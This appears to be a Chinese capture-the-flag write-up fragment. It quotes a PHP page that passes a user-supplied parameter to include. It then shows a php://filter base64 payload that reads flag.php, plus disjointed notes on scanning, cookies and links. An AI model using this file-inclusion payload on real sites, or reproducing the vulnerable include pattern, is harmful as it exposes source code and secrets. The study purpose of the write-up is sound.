<?php error_reporting(0); define('FROM_INDEX', 1); $op = empty($_GET['op']) ? 'home' : $_GET['op']; if(!is_string($op) || preg_match('/\.\./', $op)) die('Try it again and I will kill you! I freaking hate hackers!'); ob_start('ob_gzhandler'); function page_top($op) { ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title> </head> <body> <div id="header"> <center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center> </div> <div id="body"> <?php } function fatal($msg) { ?><div class="article"> <h2>Error</h2> <p><?=$msg;?></p> </div><?php exit(1); } function page_bottom() { ?> </div> <center> <div id="footer"> <div> <p> <span>2017 © </span> All rights reserved. </p> </div> </div> </center> </body> </html> <?php ob_end_flush(); } register_shutdown_function('page_bottom'); page_top($op); @$op =str_replace("http","",$op); if(!(include $op . '.php')) fatal('no such page'); ?>
經過這個分析,大概懂了爲何文件加.php提醒沒有此頁面的緣由。
經過御劍後臺掃描掃描出後臺的信息,有flag.php頁面,則
op=php://filter/read=convert.base64-encode/resource=flag
則得到flag的base64加密後的數據,進行解密,得到flag。
https://blog.csdn.net/u013577244/article/details/86310881
https://blog.csdn.net/zpy1998zpy/article/details/80684485
http://www.anquan.us/static/drops/tips-7828.html
在線php代碼運行平臺 http://www.it1352.com/onlinetools/details/8
將咱們提交的內容刪掉後再發送,只要cookie不變,咱們依然是咱們提交的admik的身份
獲得
MQ2Bj9XHqo1YQ0sN7Ge5Lirf6DKjw2FpwXZn2F873jpgnU4ykrpE2VJ7H0XLgkZ31kCuP5FC8KTmyQKhRtdFyPSdQ3D3